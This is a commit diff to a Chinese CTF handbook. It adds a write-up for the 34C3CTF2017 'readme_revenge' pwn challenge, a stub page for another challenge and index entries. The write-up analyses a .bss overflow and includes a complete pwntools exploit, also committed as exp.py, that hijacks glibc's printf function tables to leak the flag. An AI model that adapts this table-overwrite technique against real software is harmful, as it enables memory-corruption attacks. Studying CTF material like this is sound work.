mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-24 19:21:15 +07:00
finish 6.1.13
This commit is contained in:
parent
c728ae6d71
commit
578c6add6e
@ -89,6 +89,7 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One
|
||||
* [4.9 patch 二进制文件](doc/4.9_patch_binary.md)
|
||||
* [4.10 反调试技术](doc/4.10_antidbg.md)
|
||||
* [4.11 指令混淆](doc/4.11_instruction_confusion.md)
|
||||
* [4.12 利用 __stack_chk_fail](doc/4.12_stack_chk_fail.md)
|
||||
* [五、高级篇](doc/5_advanced.md)
|
||||
* [5.0 软件漏洞分析](doc/5.0_vulnerability.md)
|
||||
* [5.1 模糊测试](doc/5.1_fuzzing.md)
|
||||
@ -132,6 +133,7 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One
|
||||
* [6.1.11 pwn 9447CTF2015 Search-Engine](doc/6.1.11_pwn_9447ctf2015_search_engine.md)
|
||||
* [6.1.12 pwn N1CTF2018 vote](doc/6.1.12_pwn_n1ctf2018_vote.md)
|
||||
* [6.1.13 pwn 34C3CTF2017 readme_revenge](doc/6.1.13_pwn_34c3ctf2017_readme_revenge.md)
|
||||
* [6.1.14 pwn 32C3CTF2015 readme](doc/6.1.14_pwn_32c3ctf2015_readme.md)
|
||||
* re
|
||||
* [6.2.1 re XHPCTF2017 dont_panic](doc/6.2.1_re_xhpctf2017_dont_panic.md)
|
||||
* [6.2.2 re ECTF2016 tayy](doc/6.2.2_re_ectf2016_tayy.md)
|
||||
@ -163,6 +165,8 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One
|
||||
* Symbolic Execution
|
||||
* [8.2.1 All You Ever Wanted to Know About Dynamic Taint Analysis and Forward Symbolic Execution (but might have been afraid to ask)](doc/8.2.1_dynamic_taint_analysis.md)
|
||||
* [8.2.2 Symbolic Execution for Software Testing: Three Decades Later](doc/8.2.2_symbolic_execution_for_software_testing.md)
|
||||
* [Address Space Layout Randomization](doc/8.3_aslr_review.md)
|
||||
* [8.3.1 Address Space Layout Permutation (ASLP): Towards Fine-Grained Randomization of Commodity Software](doc/8.3.1_aslp.md)
|
||||
* Code Obfuscation
|
||||
* Reverse Engineering
|
||||
* [8.3 New Frontiers of Reverse Engineering](doc/8.3_new_frontiers_of_reverse_engineering.md)
|
||||
|
@ -11,3 +11,4 @@
|
||||
- [4.9 patch 二进制文件](4.9_patch_binary.md)
|
||||
- [4.10 反调试技术](4.10_antidbg.md)
|
||||
- [4.11 指令混淆](4.11_instruction_confusion.md)
|
||||
- [4.12 利用 __stack_chk_fail](4.12_stack_chk_fail.md)
|
||||
|
@ -2,12 +2,14 @@
|
||||
|
||||
- [题目复现](#题目复现)
|
||||
- [题目解析](#题目解析)
|
||||
- [Exploit](#exploit)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
[下载文件](../src/writeup/6.1.13_pwn_34c3ctf2017_readme_revenge)
|
||||
|
||||
## 题目复现
|
||||
这个题目实际上非常有趣。
|
||||
```
|
||||
$ file readme_revenge
|
||||
readme_revenge: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=2f27d1b57237d1ab23f8d0fc3cd418994c5b443d, not stripped
|
||||
@ -15,7 +17,7 @@ $ checksec -f readme_revenge
|
||||
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
|
||||
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 3 45 readme_revenge
|
||||
```
|
||||
与我们经常接触了题目不同,这是一个静态链接程序,运行时不需要加载 libc。not stripped 也为调试提供了便利。
|
||||
与我们经常接触的题目不同,这是一个静态链接程序,运行时不需要加载 libc。not stripped 绝对是个好消息。
|
||||
|
||||
```
|
||||
$ ./readme_revenge
|
||||
@ -24,13 +26,262 @@ Hi, aaaa. Bye.
|
||||
$ ./readme_revenge
|
||||
%x.%d.%p
|
||||
Hi, %x.%d.%p. Bye.
|
||||
$ python -c 'print "A"*2000' | ./readme_revenge
|
||||
$ python -c 'print("A"*2000)' > crash_input
|
||||
$ ./readme_revenge < crash_input
|
||||
Segmentation fault (core dumped)
|
||||
```
|
||||
我们试着给它输入一些字符,结果被原样打印出来,而且看起来也不存在格式化字符串漏洞。但当我们输入大量字符时,触发了段错误,这倒是一个好消息。
|
||||
|
||||
接着又发现了这个:
|
||||
```
|
||||
$ rabin2 -z readme_revenge| grep 34C3
|
||||
Warning: Cannot initialize dynamic strings
|
||||
000 0x000b4040 0x006b4040 35 36 (.data) ascii 34C3_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||||
```
|
||||
看来 flag 是被隐藏在程序中的,地址在 `0x006b4040`,位于 `.data` 段上。结合题目的名字 readme,推测这题的目标应该是从程序中读取或者泄漏出 flag。
|
||||
|
||||
|
||||
## 题目解析
|
||||
因为 flag 在程序的 `.data` 段上,根据我们的经验,应该能想到利用 `__stack_chk_fail()` 将其打印出来(参考章节 4.12)。
|
||||
|
||||
main 函数如下:
|
||||
```
|
||||
[0x00400900]> pdf @ main
|
||||
;-- main:
|
||||
/ (fcn) sym.main 80
|
||||
| sym.main (int arg_1020h);
|
||||
| ; arg int arg_1020h @ rsp+0x1020
|
||||
| ; DATA XREF from 0x0040091d (entry0)
|
||||
| 0x00400a0d 55 push rbp
|
||||
| 0x00400a0e 4889e5 mov rbp, rsp
|
||||
| 0x00400a11 488da424e0ef. lea rsp, [rsp - 0x1020]
|
||||
| 0x00400a19 48830c2400 or qword [rsp], 0
|
||||
| 0x00400a1e 488da4242010. lea rsp, [arg_1020h] ; 0x1020
|
||||
| 0x00400a26 488d35b3692b. lea rsi, obj.name ; 0x6b73e0
|
||||
| 0x00400a2d 488d3d50c708. lea rdi, [0x0048d184] ; "%s"
|
||||
| 0x00400a34 b800000000 mov eax, 0
|
||||
| 0x00400a39 e822710000 call sym.__isoc99_scanf
|
||||
| 0x00400a3e 488d359b692b. lea rsi, obj.name ; 0x6b73e0
|
||||
| 0x00400a45 488d3d3bc708. lea rdi, str.Hi___s._Bye. ; 0x48d187 ; "Hi, %s. Bye.\n"
|
||||
| 0x00400a4c b800000000 mov eax, 0
|
||||
| 0x00400a51 e87a6f0000 call sym.__printf
|
||||
| 0x00400a56 b800000000 mov eax, 0
|
||||
| 0x00400a5b 5d pop rbp
|
||||
\ 0x00400a5c c3 ret
|
||||
```
|
||||
很简单,从标准输入读取字符串到变量 `name`,地址在 `0x6b73e0`,且位于 `.bss` 段上,是一个全局变量。接下来程序调用 printf 将 `name` 打印出来。
|
||||
|
||||
在 gdb 里试试:
|
||||
```
|
||||
gdb-peda$ r < crash_input
|
||||
Starting program: /home/firmy/Desktop/RE4B/readme/readme_revenge < crash_input
|
||||
|
||||
Program received signal SIGSEGV, Segmentation fault.
|
||||
[----------------------------------registers-----------------------------------]
|
||||
RAX: 0x4141414141414141 ('AAAAAAAA')
|
||||
RBX: 0x7fffffffd190 --> 0xffffffff
|
||||
RCX: 0x7fffffffd160 --> 0x0
|
||||
RDX: 0x73 ('s')
|
||||
RSI: 0x0
|
||||
RDI: 0x48d18b ("%s. Bye.\n")
|
||||
RBP: 0x0
|
||||
RSP: 0x7fffffffd050 --> 0x0
|
||||
RIP: 0x45ad64 (<__parse_one_specmb+1300>: cmp QWORD PTR [rax+rdx*8],0x0)
|
||||
R8 : 0x48d18b ("%s. Bye.\n")
|
||||
R9 : 0x4
|
||||
R10: 0x48d18c ("s. Bye.\n")
|
||||
R11: 0x7fffffffd160 --> 0x0
|
||||
R12: 0x0
|
||||
R13: 0x7fffffffd190 --> 0xffffffff
|
||||
R14: 0x48d18b ("%s. Bye.\n")
|
||||
R15: 0x1
|
||||
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
|
||||
[-------------------------------------code-------------------------------------]
|
||||
0x45ad53 <__parse_one_specmb+1283>: jmp 0x45ab95 <__parse_one_specmb+837>
|
||||
0x45ad58 <__parse_one_specmb+1288>: nop DWORD PTR [rax+rax*1+0x0]
|
||||
0x45ad60 <__parse_one_specmb+1296>: movzx edx,BYTE PTR [r10]
|
||||
=> 0x45ad64 <__parse_one_specmb+1300>: cmp QWORD PTR [rax+rdx*8],0x0
|
||||
0x45ad69 <__parse_one_specmb+1305>: je 0x45a944 <__parse_one_specmb+244>
|
||||
0x45ad6f <__parse_one_specmb+1311>: lea rdi,[rsp+0x8]
|
||||
0x45ad74 <__parse_one_specmb+1316>: mov rsi,rbx
|
||||
0x45ad77 <__parse_one_specmb+1319>: addr32 call 0x44cfa0 <__handle_registered_modifier_mb>
|
||||
[------------------------------------stack-------------------------------------]
|
||||
0000| 0x7fffffffd050 --> 0x0
|
||||
0008| 0x7fffffffd058 --> 0x48d18c ("s. Bye.\n")
|
||||
0016| 0x7fffffffd060 --> 0x0
|
||||
0024| 0x7fffffffd068 --> 0x0
|
||||
0032| 0x7fffffffd070 --> 0x7fffffffd5e0 --> 0x7fffffffdb90 --> 0x7fffffffdc80 --> 0x4014a0 (<__libc_csu_init>: push r15)
|
||||
0040| 0x7fffffffd078 --> 0x7fffffffd190 --> 0xffffffff
|
||||
0048| 0x7fffffffd080 --> 0x7fffffffd190 --> 0xffffffff
|
||||
0056| 0x7fffffffd088 --> 0x443153 (<printf_positional+259>: mov r14,QWORD PTR [r12+0x20])
|
||||
[------------------------------------------------------------------------------]
|
||||
Legend: code, data, rodata, value
|
||||
Stopped reason: SIGSEGV
|
||||
0x000000000045ad64 in __parse_one_specmb ()
|
||||
gdb-peda$ x/8gx &name
|
||||
0x6b73e0 <name>: 0x4141414141414141 0x4141414141414141
|
||||
0x6b73f0 <name+16>: 0x4141414141414141 0x4141414141414141
|
||||
0x6b7400 <_dl_tls_static_used>: 0x4141414141414141 0x4141414141414141
|
||||
0x6b7410 <_dl_tls_max_dtv_idx>: 0x4141414141414141 0x4141414141414141
|
||||
```
|
||||
程序的漏洞很明显了,就是缓冲区溢出覆盖了 libc 静态编译到程序里的一些指针。再往下看会发现一些可能有用的:
|
||||
```
|
||||
gdb-peda$
|
||||
0x6b7978 <__libc_argc>: 0x4141414141414141
|
||||
gdb-peda$
|
||||
0x6b7980 <__libc_argv>: 0x4141414141414141
|
||||
gdb-peda$
|
||||
0x6b7a28 <__printf_function_table>: 0x4141414141414141
|
||||
gdb-peda$
|
||||
0x6b7a30 <__printf_modifier_table>: 0x4141414141414141
|
||||
gdb-peda$
|
||||
0x6b7aa8 <__printf_arginfo_table>: 0x4141414141414141
|
||||
gdb-peda$
|
||||
0x6b7ab0 <__printf_va_arg_table>: 0x4141414141414141
|
||||
```
|
||||
|
||||
再看一下栈回溯情况吧:
|
||||
```
|
||||
gdb-peda$ bt
|
||||
#0 0x000000000045ad64 in __parse_one_specmb ()
|
||||
#1 0x0000000000443153 in printf_positional ()
|
||||
#2 0x0000000000446ed2 in vfprintf ()
|
||||
#3 0x0000000000407a74 in printf ()
|
||||
#4 0x0000000000400a56 in main ()
|
||||
#5 0x0000000000400c84 in generic_start_main ()
|
||||
#6 0x0000000000400efd in __libc_start_main ()
|
||||
#7 0x000000000040092a in _start ()
|
||||
```
|
||||
依次调用了 `printf() => vfprintf() => printf_positional() => __parse_one_specmb()`。那就看一下 glibc 源码,然后发现了这个:
|
||||
```c
|
||||
// stdio-common/vfprintf.c
|
||||
|
||||
/* Use the slow path in case any printf handler is registered. */
|
||||
if (__glibc_unlikely (__printf_function_table != NULL
|
||||
|| __printf_modifier_table != NULL
|
||||
|| __printf_va_arg_table != NULL))
|
||||
goto do_positional;
|
||||
```
|
||||
```c
|
||||
// stdio-common/printf-parsemb.c
|
||||
|
||||
/* Get the format specification. */
|
||||
spec->info.spec = (wchar_t) *format++;
|
||||
spec->size = -1;
|
||||
if (__builtin_expect (__printf_function_table == NULL, 1)
|
||||
|| spec->info.spec > UCHAR_MAX
|
||||
|| __printf_arginfo_table[spec->info.spec] == NULL
|
||||
/* We don't try to get the types for all arguments if the format
|
||||
uses more than one. The normal case is covered though. If
|
||||
the call returns -1 we continue with the normal specifiers. */
|
||||
|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
|
||||
(&spec->info, 1, &spec->data_arg_type,
|
||||
&spec->size)) < 0)
|
||||
{
|
||||
```
|
||||
|
||||
这里就涉及到 glibc 的一个特性,它允许用户为 printf 的模板字符串(template strings)定义自己的转换函数,方法是使用函数 `register_printf_function()`:
|
||||
```c
|
||||
// stdio-common/printf.h
|
||||
|
||||
extern int register_printf_function (int __spec, printf_function __func,
|
||||
printf_arginfo_function __arginfo)
|
||||
__THROW __attribute_deprecated__;
|
||||
```
|
||||
- 该函数为指定的字符 `__spec` 定义一个转换规则。因此如果 `__spec` 是 `Y`,它定义的转换规则就是 `%Y`。用户甚至可以重新定义已有的字符,例如 `%s`。
|
||||
- `__func` 是一个函数,在对指定的 `__spec` 进行转换时由 `printf` 调用。
|
||||
- `__arginfo` 也是一个函数,在对指定的 `__spec` 进行转换时由 `parse_printf_format` 调用。
|
||||
|
||||
想一下,在程序的 main 函数中,使用 `%s` 调用了 `printf`,如果我们能重新定义一个转换规则,就能做利用 `__func` 做我们想做的事情。然而我们并不能直接调用 `register_printf_function()`。那么,如果利用溢出修改 `__printf_function_table` 呢,这当然是可以的。
|
||||
|
||||
`register_printf_function()` 其实也就是 `__register_printf_specifier()`,我们来看看它是怎么实现的:
|
||||
```c
|
||||
// stdio-common/reg-printf.c
|
||||
|
||||
/* Register FUNC to be called to format SPEC specifiers. */
|
||||
int
|
||||
__register_printf_specifier (int spec, printf_function converter,
|
||||
printf_arginfo_size_function arginfo)
|
||||
{
|
||||
if (spec < 0 || spec > (int) UCHAR_MAX)
|
||||
{
|
||||
__set_errno (EINVAL);
|
||||
return -1;
|
||||
}
|
||||
|
||||
int result = 0;
|
||||
__libc_lock_lock (lock);
|
||||
|
||||
if (__printf_function_table == NULL)
|
||||
{
|
||||
__printf_arginfo_table = (printf_arginfo_size_function **)
|
||||
calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
|
||||
if (__printf_arginfo_table == NULL)
|
||||
{
|
||||
result = -1;
|
||||
goto out;
|
||||
}
|
||||
|
||||
__printf_function_table = (printf_function **)
|
||||
(__printf_arginfo_table + UCHAR_MAX + 1);
|
||||
}
|
||||
|
||||
__printf_function_table[spec] = converter;
|
||||
__printf_arginfo_table[spec] = arginfo;
|
||||
|
||||
out:
|
||||
__libc_lock_unlock (lock);
|
||||
|
||||
return result;
|
||||
}
|
||||
```
|
||||
然后发现 `spec` 被直接用做数组 `__printf_function_table` 和 `__printf_arginfo_table` 的下标。`s` 也就是 `0x73`,这和我们在 gdb 里看到的相符:`rdx=0x73`,`[rax+rdx*8]`正好是数组取值的方式,虽然这里的 `rax` 里保存的是 `__printf_modifier_table`。
|
||||
|
||||
|
||||
## Exploit
|
||||
有了上面的分析,下面我们来构造 exp。
|
||||
|
||||
回顾一下 `__parse_one_specmb()` 函数里的 `if` 判断语句,我们知道 C 语言对 `||` 的处理机制是如果第一个表达式为 True,就不再进行第二个表达式的判断,所以为了执行函数 `*__printf_arginfo_table[spec->info.spec]`,需要前面的判断条件都为 False。我们可以在 `.bss` 段上伪造一个 `printf_arginfo_size_function` 结构体,在结构体偏移 `0x73*8` 的地方放上 `__stack_chk_fail()` 的地址,当该函数执行时,将打印出 `argv[0]` 指向的字符串,所以我们还需要将 `argv[0]` 覆盖为 flag 的地址。
|
||||
|
||||
Bingo!!!
|
||||
```
|
||||
$ python2 exp.py
|
||||
[+] Starting local process './readme_revenge': pid 14553
|
||||
[*] Switching to interactive mode
|
||||
*** stack smashing detected ***: 34C3_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX terminated
|
||||
```
|
||||
|
||||
完整的 exp 如下:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
io = process('./readme_revenge')
|
||||
|
||||
flag_addr = 0x6b4040
|
||||
name_addr = 0x6b73e0
|
||||
argv_addr = 0x6b7980
|
||||
func_table = 0x6b7a28
|
||||
arginfo_table = 0x6b7aa8
|
||||
stack_chk_fail = 0x4359b0
|
||||
|
||||
payload = p64(flag_addr) # name
|
||||
payload = payload.ljust(0x73 * 8, "\x00")
|
||||
payload += p64(stack_chk_fail) # __printf_arginfo_table[spec->info.spec]
|
||||
payload = payload.ljust(argv_addr - name_addr, "\x00")
|
||||
payload += p64(name_addr) # argv
|
||||
payload = payload.ljust(func_table - name_addr, "\x00")
|
||||
payload += p64(name_addr) # __printf_function_table
|
||||
payload = payload.ljust(arginfo_table - name_addr, "\x00")
|
||||
payload += p64(name_addr) # __printf_arginfo_table
|
||||
|
||||
# with open("./payload", "wb") as f:
|
||||
# f.write(payload)
|
||||
|
||||
io.sendline(payload)
|
||||
io.interactive()
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
||||
https://ctftime.org/task/5135
|
||||
- https://ctftime.org/task/5135
|
||||
- [Customizing printf](https://www.gnu.org/software/libc/manual/html_node/Customizing-Printf.html)
|
||||
|
24
doc/6.1.14_pwn_32c3ctf2015_readme.md
Normal file
24
doc/6.1.14_pwn_32c3ctf2015_readme.md
Normal file
@ -0,0 +1,24 @@
|
||||
# 6.1.14 pwn 32C3CTF2015 readme
|
||||
|
||||
- [题目复现](#题目复现)
|
||||
- [题目解析](#题目解析)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
[下载文件](../src/writeup/6.1.14_pwn_32c3ctf2015_readme)
|
||||
|
||||
## 题目复现
|
||||
```
|
||||
$ file readme.bin
|
||||
readme.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=7d3dcaa17ebe1662eec1900f735765bd990742f9, stripped
|
||||
$ checksec -f readme.bin
|
||||
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
|
||||
No RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 1 2 readme.bin
|
||||
```
|
||||
|
||||
|
||||
## 题目解析
|
||||
|
||||
## 参考资料
|
||||
- https://ctftime.org/task/1958
|
||||
- https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/pwn/readme-200
|
@ -14,6 +14,7 @@
|
||||
- [6.1.11 pwn 9447CTF2015 Search-Engine](6.1.11_pwn_9447ctf2015_search_engine.md)
|
||||
- [6.1.12 pwn N1CTF2018 vote](6.1.12_pwn_n1ctf2018_vote.md)
|
||||
- [6.1.13 pwn 34C3CTF2017 readme_revenge](6.1.13_pwn_34c3ctf2017_readme_revenge.md)
|
||||
- [6.1.14 pwn 32C3CTF2015 readme](6.1.14_pwn_32c3ctf2015_readme.md)
|
||||
- re
|
||||
- [6.2.1 re XHPCTF2017 dont_panic](6.2.1_re_xhpctf2017_dont_panic.md)
|
||||
- [6.2.2 re ECTF2016 tayy](6.2.2_re_ectf2016_tayy.md)
|
||||
|
1
doc/8.3.1_aslp.md
Normal file
1
doc/8.3.1_aslp.md
Normal file
@ -0,0 +1 @@
|
||||
# 8.3.1 Address Space Layout Permutation (ASLP): Towards Fine-Grained Randomization of Commodity Software
|
1
doc/8.3_aslr_review.md
Normal file
1
doc/8.3_aslr_review.md
Normal file
@ -0,0 +1 @@
|
||||
# Address Space Layout Randomization 综述
|
@ -13,6 +13,8 @@
|
||||
* Symbolic Execution
|
||||
* [8.2.1 All You Ever Wanted to Know About Dynamic Taint Analysis and Forward Symbolic Execution (but might have been afraid to ask)](8.2.1_dynamic_taint_analysis.md)
|
||||
* [8.2.2 Symbolic Execution for Software Testing: Three Decades Later](8.2.2_symbolic_execution_for_software_testing.md)
|
||||
* [Address Space Layout Randomization](8.3_aslr_review.md)
|
||||
* [8.3.1 Address Space Layout Permutation (ASLP): Towards Fine-Grained Randomization of Commodity Software](8.3.1_aslp.md)
|
||||
* Code Obfuscation
|
||||
* Reverse Engineering
|
||||
* [8.3 New Frontiers of Reverse Engineering](8.3_new_frontiers_of_reverse_engineering.md)
|
||||
|
26
src/writeup/6.1.13_pwn_34c3ctf2017_readme_revenge/exp.py
Normal file
26
src/writeup/6.1.13_pwn_34c3ctf2017_readme_revenge/exp.py
Normal file
@ -0,0 +1,26 @@
|
||||
from pwn import *
|
||||
|
||||
io = process('./readme_revenge')
|
||||
|
||||
flag_addr = 0x6b4040
|
||||
name_addr = 0x6b73e0
|
||||
argv_addr = 0x6b7980
|
||||
func_table = 0x6b7a28
|
||||
arginfo_table = 0x6b7aa8
|
||||
stack_chk_fail = 0x4359b0
|
||||
|
||||
payload = p64(flag_addr) # name
|
||||
payload = payload.ljust(0x73 * 8, "\x00")
|
||||
payload += p64(stack_chk_fail) # __printf_arginfo_table[spec->info.spec]
|
||||
payload = payload.ljust(argv_addr - name_addr, "\x00")
|
||||
payload += p64(name_addr) # argv
|
||||
payload = payload.ljust(func_table - name_addr, "\x00")
|
||||
payload += p64(name_addr) # __printf_function_table
|
||||
payload = payload.ljust(arginfo_table - name_addr, "\x00")
|
||||
payload += p64(name_addr) # __printf_arginfo_table
|
||||
|
||||
# with open("./payload", "wb") as f:
|
||||
# f.write(payload)
|
||||
|
||||
io.sendline(payload)
|
||||
io.interactive()
|
BIN
src/writeup/6.1.13_pwn_34c3ctf2017_readme_revenge/payload
Normal file
BIN
src/writeup/6.1.13_pwn_34c3ctf2017_readme_revenge/payload
Normal file
Binary file not shown.
BIN
src/writeup/6.1.14_pwn_32c3ctf2015_readme/readme.bin
Executable file
BIN
src/writeup/6.1.14_pwn_32c3ctf2015_readme/readme.bin
Executable file
Binary file not shown.
Loading…
Reference in New Issue
Block a user